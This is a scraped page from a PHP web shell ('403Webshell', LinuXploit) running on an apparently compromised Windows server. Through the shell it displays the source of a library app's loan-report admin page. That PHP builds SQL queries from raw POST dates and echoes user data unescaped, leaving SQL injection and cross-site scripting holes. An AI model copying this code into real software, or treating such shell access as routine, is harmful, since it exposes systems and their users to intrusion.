403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /laragon/www/perpusweb/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /laragon/www/perpusweb/admin//laporan-akumulasi.php
<?php 
session_start();
if (empty($_SESSION['username'])){
	header('location:../index.php');	
} else {
	include "../conn.php";
?>
<!DOCTYPE html>
<html>
<?php include "head.php"; ?>
      <body class="skin-black">
        <!-- header logo: style can be found in header.less -->
<?php include "header.php"; ?>
                <?php
$timeout = 10; // Set timeout minutes
$logout_redirect_url = "../login.html"; // Set logout URL

$timeout = $timeout * 60; // Converts minutes to seconds
if (isset($_SESSION['start_time'])) {
    $elapsed_time = time() - $_SESSION['start_time'];
    if ($elapsed_time >= $timeout) {
        session_destroy();
        echo "<script>alert('Session Anda Telah Habis!'); window.location = '$logout_redirect_url'</script>";
    }
}
$_SESSION['start_time'] = time();
?>
<?php } ?>
                <div class="wrapper row-offcanvas row-offcanvas-left">
                    <!-- Left side column. contains the logo and sidebar -->
                    <aside class="left-side sidebar-offcanvas">
                        <!-- sidebar: style can be found in sidebar.less -->
                        <section class="sidebar">
                            <!-- Sidebar user panel -->
                            <div class="user-panel">
                                <div>
                                    <center><img src="<?php echo $_SESSION['gambar']; ?>" height="80" width="80" class="img-circle" alt="User Image" style="border: 3px solid white;" /></center>
                                </div>
                                <div class="info">
                                    <center><p><?php echo $_SESSION['fullname']; ?></p></center>

                                </div>
                            </div>
                            <!-- search form -->
                            <!--<form action="#" method="get" class="sidebar-form">
                                <div class="input-group">
                                    <input type="text" name="q" class="form-control" placeholder="Search..."/>
                                    <span class="input-group-btn">
                                        <button type='submit' name='seach' id='search-btn' class="btn btn-flat"><i class="fa fa-search"></i></button>
                                    </span>
                                </div>
                            </form> -->
                            <!-- /.search form -->
                            <!-- sidebar menu: : style can be found in sidebar.less -->
                            <?php include "menu.php"; ?>
                        </section>
                        <!-- /.sidebar -->
                    </aside>

                    <aside class="right-side">

                <!-- Main content -->
                <section class="content">

                    <div class="row">
                        <div class="col-xs-12">
                            <div class="panel">
                                <header class="panel-heading">
                                    <b>LAPORAN AKUMULASI PEMINJAMAN</b>

                                </header>
                                <!-- <div class="box-header"> -->
                                    <!-- <h3 class="box-title">Responsive Hover Table</h3> -->
                                <!-- </div> -->
                                <div class="panel-body table-responsive">
                                    <div class="box-tools m-b-15">
                                    <form action='laporan-akumulasi.php' method="POST">
         
           <div class="col-lg-3"> 
                              <input type='date' class="input-group date form-control" data-date="" data-date-format="yyyy-mm-dd" name='tglawal' id="tglawal" placeholder='Dari Tanggal' autocomplete='off' required='required' />
           </div>
           <div class="col-lg-3"> 
                              <input type='date' class="input-group date form-control" data-date="" data-date-format="yyyy-mm-dd" name='tglakhir' id="tglakhir" placeholder='Sampai Tanggal' autocomplete='off' required='required' />
           </div>
           <input type='submit' value='Cari Data' class="btn btn-sm btn-primary" /> <a href='laporan-balance.php' class="btn btn-sm btn-success" > Refresh</a>
           </form>
                                    <?php
                   if(isset($_POST['tglawal']) && isset($_POST['tglakhir'])){
	                 $tglawal=$_POST['tglawal'];
                   $tglakhir=$_POST['tglakhir'];
	               $query1="SELECT trans_pinjam.*, data_buku.* FROM trans_pinjam, data_buku
	               where trans_pinjam.id_peminjam=data_buku.id AND (tgl_pinjam between '$tglawal'
	               and '$tglakhir')";
                   
                    $tampil=mysqli_query($koneksi, $query1) or die(mysqli_error());
                    ?>
                  <table style="margin-top: 20px;" id="example" class="table table-hover table-bordered">
                  <thead>
                      <tr>
                        <th>NO</th>
                        <th>JUDUL</th>
                        <th>PEMINJAM</th>
                        <th>TGL PINJAM</th>
                        <th>TGL KEMBALI</th>
                        <th>STATUS</th>
                        <th>KETERANGAN</th>
                      </tr>
                  </thead>
                     <?php 
                     $no=0;
                     while($data=mysqli_fetch_array($tampil))
                    { $no++;
                      
                     ?>
                    <tbody>
                    <tr>
                    <td><?php echo $no; ?></td>
                    <td><?php echo $data['judul']; ?></td>
                    <td><?php echo $data['nama_peminjam']; ?></td>
                    <td><?php echo $data['tgl_pinjam']; ?></td>
                    <td><?php echo $data['tgl_kembali']; ?></td>
                    <td><?php echo $data['status']; ?></td>
                    <td><?php echo $data['ket']; ?></td>
                    </tr>
                    
                    
                    <!-- <td><center><div id="thanks"><a class="btn btn-sm btn-warning" data-placement="bottom" data-toggle="tooltip" title="Cetak Gaji" href="cetak-per-perusahaan.php?hal=edit&kd=<?php //echo $data['no_lhv'];?>"><span class="glyphicon glyphicon-print"></span></a></td></tr></div> -->
                    
                 <?php   
              }
              } else { echo '<br/>'; 
                echo '<div class="alert alert-warning alert-dismissable"><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>Silahkan pilih tanggal laporan yang diinginkan!</div>';}
              
              ?>  
               <?php 
               if(isset($_POST['tglawal']) && isset($_POST['tglakhir'])){
              $tampil=mysqli_query($koneksi, "SELECT * FROM trans_pinjam
              where (tgl_pinjam between '$tglawal'
              and '$tglakhir')");
                        $total1=mysqli_num_rows($tampil); ?>
              <tr>
              <td colspan="8"><center><b>TOTAL PEMINJAM : <?php echo $total1; }?></center></b></td>
              </tr>
              </table>
              <?php if(isset($_POST['tglawal']) && isset($_POST['tglakhir'])){ ?>
            <div class="text-right">
                  <a href="laporan-akumulasi-pdf.php?tglawal=<?php echo $_POST['tglawal']; ?>&tglakhir=<?php echo $_POST['tglakhir']; ?>" class="btn btn-sm btn-danger">Cetak PDF <i class="fa fa-print"></i></a>
              </div> <?php } else { echo "";} ?>
                            </div><!-- /.box -->
                        </div>
                    </div>
              <!-- row end -->
                </section><!-- /.content -->
               
              <?php include "footer.php"; ?>
            </aside><!-- /.right-side -->
            
        </div><!-- ./wrapper -->


        <!-- jQuery 2.0.2 -->
        <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js"></script>
        <script src="../js/jquery.min.js" type="text/javascript"></script>

        <!-- jQuery UI 1.10.3 -->
        <script src="../js/jquery-ui-1.10.3.min.js" type="text/javascript"></script>
        <script src="../datatables/jquery.dataTables.min.js"></script>
        <script src="../datatables/dataTables.bootstrap.min.js"></script>
        <!-- Bootstrap -->
        <script src="../js/bootstrap.min.js" type="text/javascript"></script>
        <!-- daterangepicker -->
        <script src="../js/plugins/daterangepicker/daterangepicker.js" type="text/javascript"></script>

        <script src="../js/plugins/chart.js" type="text/javascript"></script>

        <!-- datepicker
        <script src="js/plugins/datepicker/bootstrap-datepicker.js" type="text/javascript"></script>-->
        <!-- Bootstrap WYSIHTML5
        <script src="js/plugins/bootstrap-wysihtml5/bootstrap3-wysihtml5.all.min.js" type="text/javascript"></script>-->
        <!-- iCheck -->
        <script src="../js/plugins/iCheck/icheck.min.js" type="text/javascript"></script>
        <!-- calendar -->
        <script src="../js/plugins/fullcalendar/fullcalendar.js" type="text/javascript"></script>

        <!-- Director App -->
        <script src="../js/Director/app.js" type="text/javascript"></script>

        <!-- Director dashboard demo (This is only for demo purposes) -->
        <script src="../js/Director/dashboard.js" type="text/javascript"></script>

        <script>
        $(document).ready(function() {
				var dataTable = $('#lookup').DataTable( {
					"processing": true,
					"serverSide": true,
					"ajax":{
						url :"ajax-data-anggota.php", // json datasource
						type: "post",  // method  , by default get
						error: function(){  // error handling
							$(".lookup-error").html("");
							$("#lookup").append('<tbody class="employee-grid-error"><tr><th colspan="3">No data found in the server</th></tr></tbody>');
							$("#lookup_processing").css("display","none");
							
						}
					}
				} );
			} );
        </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit